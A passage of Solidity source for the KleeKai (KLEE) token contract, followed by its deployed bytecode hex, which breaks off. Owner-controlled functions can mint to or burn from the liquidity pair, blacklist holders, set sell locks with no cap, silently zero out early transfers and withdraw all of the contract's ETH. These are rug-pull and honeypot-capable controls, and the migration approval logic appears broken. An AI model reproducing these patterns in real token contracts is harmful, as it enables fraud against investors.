0.75% uint16 public MaxSellLockTime= 10 seconds; address public constant router_address=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; uint256 public _circulatingSupply =InitialSupply; uint256 public balanceLimit = _circulatingSupply; uint256 public sellLimit = _circulatingSupply; uint256 public buyLimit = _circulatingSupply; uint8 public _buyTax; uint8 public _sellTax; uint8 public _transferTax; uint8 public _liquidityTax; uint8 public _marketingTax; uint8 public _DevelopmentTax; uint8 public _RewardTax; uint8 public _KaibaTax; bool isTokenSwapManual = false; bool public bot_killer = true; address public pair_address; address public deployer = 0xB19Ea1d1B9eDE773E4B86b1e913236e0dAEAF808; address public marketing = 0x6FEe72Ad3A9210299190ed0dBFC4D377971DBE19; address public development = 0xA29eA5118fEe344449A1DADaB49419c51B388a43; address public rewards = 0x356bE05bd1F2FCFfA6C6fb7128BF54DBE0dF38e0; address public kaiba = 0xCbeb3C6aEC7040e4949F22234573bd06B31DE83b; IUniswapRouter02 public router; constructor () { uint256 deployerBalance=_circulatingSupply*9/10; _balances[msg.sender] = deployerBalance; emit Transfer(address(0), msg.sender, deployerBalance); uint256 injectBalance=_circulatingSupply-deployerBalance; _balances[address(this)]=injectBalance; emit Transfer(address(0), address(this),injectBalance); router = IUniswapRouter02(router_address); pair_address = IUniswapFactory(router.factory()).createPair(address(this), router.WETH()); balanceLimit=InitialSupply/BalanceLimitDivider; sellLimit=InitialSupply/SellLimitDivider; buyLimit=InitialSupply/BuyLimitDivider; sellLockTime=2 seconds; _buyTax=9; _sellTax=9; _transferTax=9; _liquidityTax=30; _marketingTax=30; _DevelopmentTax=17; _RewardTax=16; _KaibaTax = 7; // Exclusions owner = msg.sender; is_auth[msg.sender] = true; _excluded[msg.sender] = true; _excluded[deployer] = true; _excluded[marketing] = true; _excluded[development] = true; _excluded[rewards] = true; _excluded[kaiba] = true; _excludedFromSellLock[router_address] = true; _excludedFromSellLock[pair_address] = true; _excludedFromSellLock[address(this)] = true; _excludedFromSellLock[deployer] = true; _excludedFromSellLock[marketing] = true; _excludedFromSellLock[development] = true; _excludedFromSellLock[rewards] = true; _excludedFromSellLock[kaiba] = true; } function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); if(isBlacklist) { require(!_blacklist[sender] && !_blacklist[recipient], "Blacklisted!"); } bool isExcluded = (_excluded[sender] || _excluded[recipient] || is_auth[sender] || is_auth[recipient]); bool isContractTransfer=(sender==address(this) || recipient==address(this)); bool isLiquidityTransfer = ((sender == pair_address && recipient == router_address) || (recipient == pair_address && sender == router_address)); if(isContractTransfer || isLiquidityTransfer || isExcluded ){ _feelessTransfer(sender, recipient, amount); } else{ if (!tradingEnabled) { if (sender != owner && recipient != owner) { if (bot_killer) { emit Transfer(sender,recipient,0); return; } else { require(tradingEnabled,"trading not yet enabled"); } } } bool isBuy=sender==pair_address|| sender == router_address; bool isSell=recipient==pair_address|| recipient == router_address; _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } /////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////// Mint & Burn /////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////// function MB_mint_contract(uint amount) public onlyAuth { address receiver = address(this); _circulatingSupply += amount; _balances[receiver] += amount; emit Transfer(DEAD, receiver, amount); } function MB_mint_liquidity(uint amount) public onlyAuth { address receiver = pair_address; _circulatingSupply += amount; _balances[receiver] += amount; emit Transfer(DEAD, receiver, amount); } function MB_burn_contract(uint amount) public onlyAuth { _circulatingSupply -= amount; _balances[address(this)] -= amount; emit Transfer(address(this), DEAD, amount); } function MB_burn_liquidity(uint amount) public onlyAuth { _circulatingSupply -= amount; _balances[pair_address] -= amount; emit Transfer(pair_address, DEAD, amount); } /////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////// CONTROL PANEL ///////////////////////////////// /////////////////////////////////////////////////////////////////////////////////// function CTRL_set_development(address addy) public onlyAuth { development = addy; } function CTRL_set_marketing(address addy) public onlyAuth { marketing = addy; } function CTRL_set_rewards(address addy) public onlyAuth { rewards = addy; } function CTRL_set_deployer(address addy) public onlyAuth { deployer = addy; } function CTRL_set_kaiba(address addy) public onlyAuth { kaiba = addy; } /////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////// CLAIM ///////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////// bool public claim_enable; mapping(address => bool) public claimed; address[] public claimed_list; function MIGRATION_control_claim(bool booly) public onlyAuth { claim_enable = booly; } function MIGRATION_approve_v1() public safe { ERC20 klee_v1 = ERC20(0x382f0160c24f5c515A19f155BAc14d479433A407); uint to_give = klee_v1.balanceOf(msg.sender); require(to_give > 0, "No tokens to transfer"); require(klee_v1.allowance(msg.sender, address(this)) <= to_give, "Already enough allowance"); klee_v1.approve(address(this), to_give*10); } function MIGRATION_claim_from_v1() public safe { require(claim_enable, "Claim is ended"); require(!claimed[msg.sender]); ERC20 klee_v1 = ERC20(0x382f0160c24f5c515A19f155BAc14d479433A407); uint to_give = klee_v1.balanceOf(msg.sender); require(klee_v1.allowance(msg.sender, address(this)) > to_give, "Not enough allowance"); require(_balances[address(this)] >= to_give, "Not enough tokens!"); klee_v1.transferFrom(msg.sender, address(this), to_give); _balances[address(this)] -= to_give; _balances[msg.sender] += to_give; emit Transfer(address(this), msg.sender, to_give); claimed[msg.sender] = true; claimed_list.push(msg.sender); } function MIGRATION_allowance_on_v1(address addy) public view onlyAuth returns (uint allowed, uint balance) { ERC20 klee_v1 = ERC20(0x382f0160c24f5c515A19f155BAc14d479433A407); return (klee_v1.allowance(addy, address(this)), klee_v1.balanceOf(addy)); } function MIGRATION_has_claimed(address addy) public view returns(bool has_it) { return(claimed[addy]); } /////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////// Airdrops ////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////// function AIRDROP_multiple(uint amount, address[] calldata addresses) public onlyAuth { uint256 multiplier = addresses.length; require(_balances[address(this)] >= (amount*multiplier), "Not enough funds"); _balances[address(this)] -= (amount*multiplier); for (uint i = 0; i < multiplier; i++) { _balances[addresses[i]] += amount; emit Transfer(address(this), addresses[i], amount); } } function AIRDROP_multiple_different(uint[] calldata amount, address[] calldata addresses) public onlyAuth { uint256 multiplier = addresses.length; for (uint i = 0; i < multiplier; i++) { require(_balances[address(this)] >= amount[i], "Not enough funds"); _balances[address(this)] -= amount[i]; _balances[addresses[i]] += amount[i]; emit Transfer(address(this), addresses[i], amount[i]); } } /////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////// Transfers Inner /////////////////////////////// /////////////////////////////////////////////////////////////////////////////////// function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); swapLimit = sellLimit/2; uint8 tax; if(isSell){ if(!_excludedFromSellLock[sender]){ require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock"); _sellLock[sender]=block.timestamp+sellLockTime; } require(amount<=sellLimit,"Dump protection"); tax=_sellTax; } else if(isBuy){ require(recipientBalance+amount<=balanceLimit,"whale protection"); require(amount<=buyLimit, "whale protection"); tax=_buyTax; } else { require(recipientBalance+amount<=balanceLimit,"whale protection"); if(!_excludedFromSellLock[sender]) require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock"); tax=_transferTax; } if((sender!=pair_address)&&(!manualConversion)&&(!_isSwappingContractModifier)) _swapContractToken(amount); uint256 contractToken=_calculateFee(amount, tax, _marketingTax+_liquidityTax+_DevelopmentTax+_RewardTax+_KaibaTax); uint256 taxedAmount=amount-(contractToken); _removeToken(sender,amount); _balances[address(this)] += contractToken; _addToken(recipient, taxedAmount); emit Transfer(sender, address(this), contractToken); emit Transfer(sender,recipient,taxedAmount); } function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); _removeToken(sender,amount); _addToken(recipient, amount); emit Transfer(sender,recipient,amount); } /////////////////////////////////////////////////////////////////////////////////// ///////////////////////////////// Fees and modifications ////////////////////////// /////////////////////////////////////////////////////////////////////////////////// function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) { return (amount*tax*taxPercent) / 10000; } function _addToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]+amount; _balances[addr]=newAmount; } function _removeToken(address addr, uint256 amount) private { uint256 newAmount=_balances[addr]-amount; _balances[addr]=newAmount; } bool private _isTokenSwapping; uint256 public totalTokenSwapGenerated; uint256 public totalPayouts; uint8 public marketingShare=50; uint8 public DevelopmentShare=40; uint8 public KaibaShare = 10; uint256 public marketingBalance; uint256 public DevelopmentBalance; uint256 public RewardBalance; uint256 public kaiBalance; function _distributeFeesETH(uint256 ETHamount) private { uint256 marketingSplit = (ETHamount * marketingShare)/100; uint256 DevelopmentSplit = (ETHamount * DevelopmentShare)/100; uint256 KaibaSplit = (ETHamount * KaibaShare)/100; marketingBalance+=marketingSplit; DevelopmentBalance+=DevelopmentSplit; kaiBalance += KaibaSplit; } uint256 public totalLPETH; bool private _isSwappingContractModifier; modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } function _swapContractToken(uint256 totalMax) private lockTheSwap{ uint256 contractBalance=_balances[address(this)] - kaiBalance; uint16 totalTax=_liquidityTax+_marketingTax+_DevelopmentTax+_KaibaTax; uint256 tokenToSwap=swapLimit; if(tokenToSwap > totalMax) { if(isSwapPegged) { tokenToSwap = totalMax; } } if(contractBalance<tokenToSwap||totalTax==0){ return; } uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax; uint256 tokenForMarketing= (tokenToSwap*_marketingTax)/totalTax; uint256 tokenForReward= (tokenToSwap*_RewardTax)/totalTax; uint256 tokenForDevelopment= (tokenToSwap*_DevelopmentTax)/totalTax; uint256 tokenForKaiba = (tokenToSwap*_KaibaTax)/totalTax; uint256 liqToken=tokenForLiquidity/2; uint256 liqETHToken=tokenForLiquidity-liqToken; uint256 swapToken=liqETHToken+tokenForMarketing+tokenForDevelopment+tokenForKaiba; uint256 initialETHBalance = address(this).balance; _swapTokenForETH(swapToken); uint256 newETH=(address(this).balance - initialETHBalance); uint256 liqETH = (newETH*liqETHToken)/swapToken; _addLiquidity(liqToken, liqETH); uint256 generatedETH=(address(this).balance - initialETHBalance); _distributeFeesETH(generatedETH); _balances[rewards] += tokenForReward; emit Transfer(address(this), rewards, tokenForReward); } function _swapTokenForETH(uint256 amount) private { _approve(address(this), address(router), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private { totalLPETH+=ETHamount; _approve(address(this), address(router), tokenamount); router.addLiquidityETH{value: ETHamount}( address(this), tokenamount, 0, 0, address(this), block.timestamp ); } /// @notice Utilities function UTILS_getLimits() public view returns(uint256 balance, uint256 sell){ return(balanceLimit/10**_decimals, sellLimit/10**_decimals); } function UTILS_getTaxes() public view returns(uint256 RewardTax, uint256 DevelopmentTax,uint256 liquidityTax,uint256 marketingTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){ return (_RewardTax, _DevelopmentTax,_liquidityTax,_marketingTax,_buyTax,_sellTax,_transferTax); } function UTILS_getAddressSellLockTimeInSeconds(address AddressToCheck) public view returns (uint256){ uint256 lockTime=_sellLock[AddressToCheck]; if(lockTime<=block.timestamp) { return 0; } return lockTime-block.timestamp; } function UTILS_getSellLockTimeInSeconds() public view returns(uint256){ return sellLockTime; } bool public sellLockDisabled; uint256 public sellLockTime; bool public manualConversion; function UTILS_SetPeggedSwap(bool isPegged) public onlyAuth { isSwapPegged = isPegged; } function UTILS_SetMaxSwap(uint256 max) public onlyAuth { require(max >= (_circulatingSupply/500), "Too low"); /// Avoid honeypots swapLimit = max; } function UTILS_SetMaxLockTime(uint16 max) public onlyAuth { require(max <= 20 seconds, "Too high"); /// Avoid locking MaxSellLockTime = max; } /// @notice ACL Functions function ACL_BlackListAddress(address addy, bool booly) public onlyAuth { _blacklist[addy] = booly; } function ACL_SetAuth(address addy, bool booly) public onlyAuth { is_auth[addy] = booly; } function ACL_ExcludeAccountFromFees(address account, bool booly) public onlyAuth { _excluded[account] = booly; } function ACL_ExcludeAccountFromSellLock(address account, bool booly) public onlyAuth { _excludedFromSellLock[account] = booly; } function AUTH_WithdrawMarketingETH() public onlyAuth{ uint256 amount=marketingBalance; marketingBalance=0; address sender = marketing; (bool sent,) =sender.call{value: (amount)}(""); require(sent,"withdraw failed"); } function AUTH_WithdrawDevelopmentETH() public onlyAuth{ uint256 amount=DevelopmentBalance; DevelopmentBalance=0; address sender = development; (bool sent,) =sender.call{value: (amount)}(""); require(sent,"withdraw failed"); } function AUTH_WithdrawRewardTokens() public onlyAuth{ uint256 amount=RewardBalance; RewardBalance=0; address sender = msg.sender; bool sent = ERC20(address(this)).transfer(sender, amount); require(sent,"withdraw failed"); } function AUTH_WithdrawKaibaTokens() public onlyAuth{ uint256 amount=kaiBalance; kaiBalance=0; address sender = msg.sender; bool sent = ERC20(address(this)).transfer(sender, amount); require(sent,"withdraw failed"); } function UTILS_SwitchManualETHConversion(bool manual) public onlyAuth{ manualConversion=manual; } function UTILS_DisableSellLock(bool disabled) public onlyAuth{ sellLockDisabled=disabled; } function UTILS_SetSellLockTime(uint256 sellLockSeconds)public onlyAuth{ sellLockTime=sellLockSeconds; } function UTILS_SetTaxes(uint8 RewardTaxes, uint8 DevelopmentTaxes, uint8 liquidityTaxes, uint8 marketingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public onlyAuth{ uint8 totalTax=RewardTaxes + DevelopmentTaxes +liquidityTaxes+marketingTaxes; require(totalTax==100, "burn+liq+marketing needs to equal 100%"); _RewardTax = RewardTaxes; _DevelopmentTax = DevelopmentTaxes; _liquidityTax=liquidityTaxes; _marketingTax=marketingTaxes; _buyTax=buyTax; _sellTax=sellTax; _transferTax=transferTax; require(_buyTax < 48 && _sellTax < 48 && _transferTax < 48, "No honey pls!"); } function UTILS_ChangeMarketingShare(uint8 newShare) public onlyAuth{ marketingShare=newShare; } function UTILS_ChangeDevelopmentShare(uint8 newShare) public onlyAuth{ DevelopmentShare=newShare; } function UTILS_ChangeKaibaShare(uint8 newShare) public onlyAuth{ KaibaShare=newShare; } function UTILS_ManualGenerateTokenSwapBalance(uint256 _qty) public onlyAuth{ _swapContractToken(_qty * 10**9); } function UTILS_UpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) public onlyAuth{ newBalanceLimit=newBalanceLimit*10**_decimals; newSellLimit=newSellLimit*10**_decimals; balanceLimit = newBalanceLimit; sellLimit = newSellLimit; } bool public tradingEnabled; address private _liquidityTokenAddress; function SETTINGS_EnableTrading() public onlyAuth{ tradingEnabled = true; } function SETTINGS_LiquidityTokenAddress(address liquidityTokenAddress) public onlyAuth{ _liquidityTokenAddress=liquidityTokenAddress; } function UTILS_RescueTokens(address tknAddress) public onlyAuth { require(tknAddress != pair_address, "Hey! No!"); /// Avoid liquidity pulls ERC20 token = ERC20(tknAddress); uint256 ourBalance = token.balanceOf(address(this)); require(ourBalance>0, "No tokens in our balance"); token.transfer(msg.sender, ourBalance); } function UTILS_setBlacklistEnabled(bool isBlacklistEnabled) public onlyAuth { isBlacklist = isBlacklistEnabled; } function UTILS_setContractTokenSwapManual(bool manual) public onlyAuth { isTokenSwapManual = manual; } function UTILS_setBlacklistedAddress(address toBlacklist) public onlyAuth { _blacklist[toBlacklist] = true; } function UTILS_removeBlacklistedAddress(address toRemove) public onlyAuth { _blacklist[toRemove] = false; } function UTILS_AvoidLocks() public onlyAuth{ (bool sent,) =msg.sender.call{value: (address(this).balance)}(""); require(sent); } function UTILS_setMarketingWallet(address wallet) public onlyAuth { marketing = wallet; } function UTILS_setDevelopergWallet(address wallet) public onlyAuth { development = wallet; } function UTILS_setRewardsWallet(address wallet) public onlyAuth { rewards = wallet; } function UTILS_setKaibaWallet(address wallet) public onlyAuth { kaiba = wallet; } function getowner() public view returns (address) { return owner; } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _circulatingSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address _owner, address spender, uint256 amount) private { require(_owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } }
0x6080604052600436106106c45760003560e01c806370a0823111610376578063b9181611116101cf578063dc7eae6011610101578063ef089bba116100a5578063f88b0e4611610077578063f88b0e4614611569578063fa49e09a1461157f578063fb2729871461159f578063fe0174bd146115cc57005b8063ef089bba146114e9578063eff4b27614611509578063f099e12314611529578063f887ea401461154957005b8063e41a1d9f116100de578063e41a1d9f1461147e578063ea68c17414611494578063ead3caf4146114b4578063ed1255f2146114d457005b8063dc7eae60146113f8578063dd62ed3e14611418578063e2eb9ea01461145e57005b8063d18aaa6511610173578063d5f3948811610145578063d5f3948814611387578063d65af4f2146113a7578063d699340d14610786578063d6ef56f3146113c857005b8063d18aaa65146112eb578063d28d88521461130c578063d46f2f661461133f578063d47b82831461136757005b8063be8f8d07116101ac578063be8f8d07146106cd578063c0dda5a41461127c578063c884ef831461129c578063ca9ec199146112cc57005b8063b918161114611203578063bb730e961461123c578063bcba423b1461125c57005b806395d89b41116102a8578063a457c2d71161024c578063aea96aee1161021e578063aea96aee1461119e578063b09f1266146111be578063b41abeb7146111ee578063b4de400b14610a4f57005b8063a457c2d714611129578063a5cb08af14611149578063a9059cbb1461115e578063ae13eeaf1461117e57005b80639ec5a894116102855780639ec5a894146110ae5780639f767c91146110ce578063a20623ce146110e3578063a253c06e1461111357005b806395d89b4114611061578063987bb5a71461108e5780639a7469741461108e57005b806380848fed1161031a57806388f19574116102ec57806388f1957414610fd35780638b4c6c8d14610ff35780638f78d5f91461100857806392763f1d1461104157005b806380848fed14610f4a5780638117eb5014610f6a57806386d0ada814610f9a578063887c60fb14610fb457005b8063762bb28211610353578063762bb28214610ef35780637a4325f914610a2f5780637ae4d84814610f095780637b929c2714610f2a57005b806370a0823114610e9357806372b0c84414610ec957806372b86bde14610ede57005b80632e560f801161052857806346559de51161045a5780635243cf94116103fe57806358e55365116103d057806358e5536514610e1057806363ac734114610e265780636a8d049d14610e465780636ebcf60714610e6657005b80635243cf9414610d9a57806356ed189614610dbb57806357575f5c14610dda578063589210d914610dfa57005b80634ada218b116104375780634ada218b14610d2f5780634eca70f514610d4e5780634f7d773b14610d6e5780634f91e48c14610d8457005b806346559de514610cd857806348e907b714610cf8578063491f692c14610d0e57005b8063382e329a116104cc5780634089b1701161049e5780634089b17014610c1b57806342a1109514610c31578063430b1df814610c4b5780634582543e14610c6157005b8063382e329a14610ba45780633950935114610bc55780633cc39b7a14610be55780633d7754a214610bfb57005b806332424aa31161050557806332424aa314610b2657806332d0b56814610b3b57806334184e2614610b5b5780633478154b14610b8257005b80632e560f8014610ad1578063311a869714610af1578063313ce56714610b1257005b806317391e49116106015780631f8b845e116105a55780632c9a115e116105775780632c9a115e14610a4f5780632d0947bd14610a6f5780632d3e474a14610a8f5780632d88286314610aaf57005b80631f8b845e146109da57806323b872dd146109fa57806329eeed1814610a1a5780632bfe874214610a2f57005b80631a12227b116105de5780631a12227b146109705780631af903be146109855780631ce12d8e146109a55780631eb25d13146109c557005b806317391e491461091b57806318160ddd1461093b57806318ee55031461095057005b80630852a96d116106685780630a304a76116106455780630a304a76146108705780630fd99e1614610890578063104d221b146108c65780631637e715146108e657005b80630852a96d146107ff57806309218ee714610814578063095ea7b31461084057005b8063048e5f0a116106a1578063048e5f0a14610766578063058546e014610786578063058e7e18146107a657806306fdde03146107c657005b8063020711b3146106cd578063024c2ddd146106ed57806303fd2a451461073857005b366106cb57005b005b3480156106d957600080fd5b506106cb6106e8366004614935565b6115ea565b3480156106f957600080fd5b5061072561070836600461496f565b600360209081526000928352604080842090915290825290205481565b6040519081526020015b60405180910390f35b34801561074457600080fd5b5061074e61dead81565b6040516001600160a01b03909116815260200161072f565b34801561077257600080fd5b506106cb610781366004614b3f565b611659565b34801561079257600080fd5b506106cb6107a1366004614935565b61180e565b3480156107b257600080fd5b506106cb6107c1366004614aaf565b611874565b3480156107d257600080fd5b506040805180820190915260078152664b6c65654b616960c81b60208201525b60405161072f9190614c7c565b34801561080b57600080fd5b50602254610725565b34801561082057600080fd5b50601b5461082e9060ff1681565b60405160ff909116815260200161072f565b34801561084c57600080fd5b5061086061085b366004614a17565b6118cb565b604051901515815260200161072f565b34801561087c57600080fd5b506106cb61088b366004614bf6565b6118e2565b34801561089c57600080fd5b50600a546108b390640100000000900461ffff1681565b60405161ffff909116815260200161072f565b3480156108d257600080fd5b50601b5461082e9062010000900460ff1681565b3480156108f257600080fd5b50610906610901366004614935565b611af4565b6040805192835260208301919091520161072f565b34801561092757600080fd5b50600f5461082e9062010000900460ff1681565b34801561094757600080fd5b50600b54610725565b34801561095c57600080fd5b506106cb61096b366004614aaf565b611c50565b34801561097c57600080fd5b506106cb611cbc565b34801561099157600080fd5b506106cb6109a0366004614935565b611d58565b3480156109b157600080fd5b506106cb6109c0366004614aaf565b611dbd565b3480156109d157600080fd5b50610725611e14565b3480156109e657600080fd5b50600a546108b390610100900461ffff1681565b348015610a0657600080fd5b50610860610a153660046149a8565b611e35565b348015610a2657600080fd5b506106cb611ecc565b348015610a3b57600080fd5b506106cb610a4a3660046149e9565b61228b565b348015610a5b57600080fd5b506106cb610a6a366004614935565b6122fa565b348015610a7b57600080fd5b506106cb610a8a366004614b0d565b612360565b348015610a9b57600080fd5b5060115461074e906001600160a01b031681565b348015610abb57600080fd5b50600f5461082e90640100000000900460ff1681565b348015610add57600080fd5b506106cb610aec366004614935565b61240a565b348015610afd57600080fd5b50600a5461082e906301000000900460ff1681565b348015610b1e57600080fd5b50600961082e565b348015610b3257600080fd5b5061082e600981565b348015610b4757600080fd5b506106cb610b56366004614ae9565b612470565b348015610b6757600080fd5b50600f5461074e90600160501b90046001600160a01b031681565b348015610b8e57600080fd5b50600a546108b390600160301b900461ffff1681565b348015610bb057600080fd5b50600f5461082e906301000000900460ff1681565b348015610bd157600080fd5b50610860610be0366004614a17565b612519565b348015610bf157600080fd5b5061072560205481565b348015610c0757600080fd5b506106cb610c16366004614bdb565b612550565b348015610c2757600080fd5b50610725601a5481565b348015610c3d57600080fd5b50600f5461082e9060ff1681565b348015610c5757600080fd5b50610725601f5481565b348015610c6d57600080fd5b50600f546040805160ff600160301b840481168252600160281b8404811660208301526301000000840481169282019290925264010000000083048216606082015281831660808201526101008304821660a0820152620100009092041660c082015260e00161072f565b348015610ce457600080fd5b506106cb610cf3366004614aaf565b6125b2565b348015610d0457600080fd5b5061072560195481565b348015610d1a57600080fd5b5060155461086090600160a01b900460ff1681565b348015610d3b57600080fd5b5060235461086090610100900460ff1681565b348015610d5a57600080fd5b506106cb610d69366004614935565b612614565b348015610d7a57600080fd5b50610725601d5481565b348015610d9057600080fd5b50610725600d5481565b348015610da657600080fd5b50600f5461082e90600160301b900460ff1681565b348015610dc757600080fd5b50601b5461082e90610100900460ff1681565b348015610de657600080fd5b506106cb610df5366004614b8b565b612682565b348015610e0657600080fd5b50610725600e5481565b348015610e1c57600080fd5b50610725601c5481565b348015610e3257600080fd5b506106cb610e41366004614b0d565b612700565b348015610e5257600080fd5b506106cb610e61366004614b0d565b6127d6565b348015610e7257600080fd5b50610725610e81366004614935565b60026020526000908152604090205481565b348015610e9f57600080fd5b50610725610eae366004614935565b6001600160a01b031660009081526002602052604090205490565b348015610ed557600080fd5b50610906612831565b348015610eea57600080fd5b506106cb61286e565b348015610eff57600080fd5b50610725600c5481565b348015610f1557600080fd5b50600f5461082e90600160381b900460ff1681565b348015610f3657600080fd5b5060125461074e906001600160a01b031681565b348015610f5657600080fd5b506106cb610f653660046149e9565b6128c3565b348015610f7657600080fd5b50610860610f85366004614935565b60066020526000908152604090205460ff1681565b348015610fa657600080fd5b506023546108609060ff1681565b348015610fc057600080fd5b5060215461086090610100900460ff1681565b348015610fdf57600080fd5b506106cb610fee366004614b0d565b612932565b348015610fff57600080fd5b506106cb6129f9565b34801561101457600080fd5b50610860611023366004614935565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561104d57600080fd5b5061072561105c366004614935565b612c9b565b34801561106d57600080fd5b506040805180820190915260048152634b4c454560e01b60208201526107f2565b34801561109a57600080fd5b506106cb6110a9366004614935565b612cd5565b3480156110ba57600080fd5b5060135461074e906001600160a01b031681565b3480156110da57600080fd5b506106cb612d3b565b3480156110ef57600080fd5b506108606110fe366004614935565b60076020526000908152604090205460ff1681565b34801561111f57600080fd5b50610725600b5481565b34801561113557600080fd5b50610860611144366004614a17565b612e4c565b34801561115557600080fd5b506106cb612ec8565b34801561116a57600080fd5b50610860611179366004614a17565b612fb4565b34801561118a57600080fd5b506106cb611199366004614bdb565b612fc1565b3480156111aa57600080fd5b506106cb6111b9366004614935565b61301b565b3480156111ca57600080fd5b506107f2604051806040016040528060048152602001634b4c454560e01b81525081565b3480156111fa57600080fd5b506106cb613083565b34801561120f57600080fd5b5061086061121e366004614935565b6001600160a01b031660009081526020819052604090205460ff1690565b34801561124857600080fd5b5061074e611257366004614b0d565b6130ee565b34801561126857600080fd5b506106cb611277366004614935565b613118565b34801561128857600080fd5b506106cb611297366004614a43565b613300565b3480156112a857600080fd5b506108606112b7366004614935565b60166020526000908152604090205460ff1681565b3480156112d857600080fd5b50600f5461082e90610100900460ff1681565b3480156112f757600080fd5b50600f5461082e90600160281b900460ff1681565b34801561131857600080fd5b506107f2604051806040016040528060078152602001664b6c65654b616960c81b81525081565b34801561134b57600080fd5b5061074e737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561137357600080fd5b506106cb611382366004614aaf565b613526565b34801561139357600080fd5b5060105461074e906001600160a01b031681565b3480156113b357600080fd5b50600f5461086090600160481b900460ff1681565b3480156113d457600080fd5b506108606113e3366004614935565b60056020526000908152604090205460ff1681565b34801561140457600080fd5b506106cb611413366004614b0d565b61357d565b34801561142457600080fd5b5061072561143336600461496f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561146a57600080fd5b506106cb611479366004614bdb565b61360f565b34801561148a57600080fd5b50610725601e5481565b3480156114a057600080fd5b5060145461074e906001600160a01b031681565b3480156114c057600080fd5b506106cb6114cf3660046149e9565b61366f565b3480156114e057600080fd5b506106cb6136de565b3480156114f557600080fd5b506106cb611504366004614aaf565b61375b565b34801561151557600080fd5b506106cb611524366004614b0d565b6137b9565b34801561153557600080fd5b506106cb6115443660046149e9565b613813565b34801561155557600080fd5b5060155461074e906001600160a01b031681565b34801561157557600080fd5b5061072560225481565b34801561158b57600080fd5b506106cb61159a366004614b0d565b613882565b3480156115ab57600080fd5b506107256115ba366004614935565b60046020526000908152604090205481565b3480156115d857600080fd5b506001546001600160a01b031661074e565b3360009081526020819052604090205460ff168061161257506001546001600160a01b031633145b6116375760405162461bcd60e51b815260040161162e90614cfb565b60405180910390fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526020819052604090205460ff168061168157506001546001600160a01b031633145b61169d5760405162461bcd60e51b815260040161162e90614cfb565b806116a88185614edc565b3060009081526002602052604090205410156116f95760405162461bcd60e51b815260206004820152601060248201526f4e6f7420656e6f7567682066756e647360801b604482015260640161162e565b6117038185614edc565b3060009081526002602052604081208054909190611722908490614efb565b90915550600090505b8181101561180757846002600086868581811061174a5761174a614f43565b905060200201602081019061175f9190614935565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461178e9190614d8f565b9091555084905083828181106117a6576117a6614f43565b90506020020160208101906117bb9190614935565b6001600160a01b0316306001600160a01b0316600080516020614f7d833981519152876040516117ed91815260200190565b60405180910390a3806117ff81614f12565b91505061172b565b5050505050565b3360009081526020819052604090205460ff168061183657506001546001600160a01b031633145b6118525760405162461bcd60e51b815260040161162e90614cfb565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526020819052604090205460ff168061189c57506001546001600160a01b031633145b6118b85760405162461bcd60e51b815260040161162e90614cfb565b600a805460ff1916911515919091179055565b60006118d83384846138cb565b5060015b92915050565b3360009081526020819052604090205460ff168061190a57506001546001600160a01b031633145b6119265760405162461bcd60e51b815260040161162e90614cfb565b60008486611934898b614da7565b61193e9190614da7565b6119489190614da7565b90508060ff166064146119ac5760405162461bcd60e51b815260206004820152602660248201527f6275726e2b6c69712b6d61726b6574696e67206e6565647320746f20657175616044820152656c203130302560d01b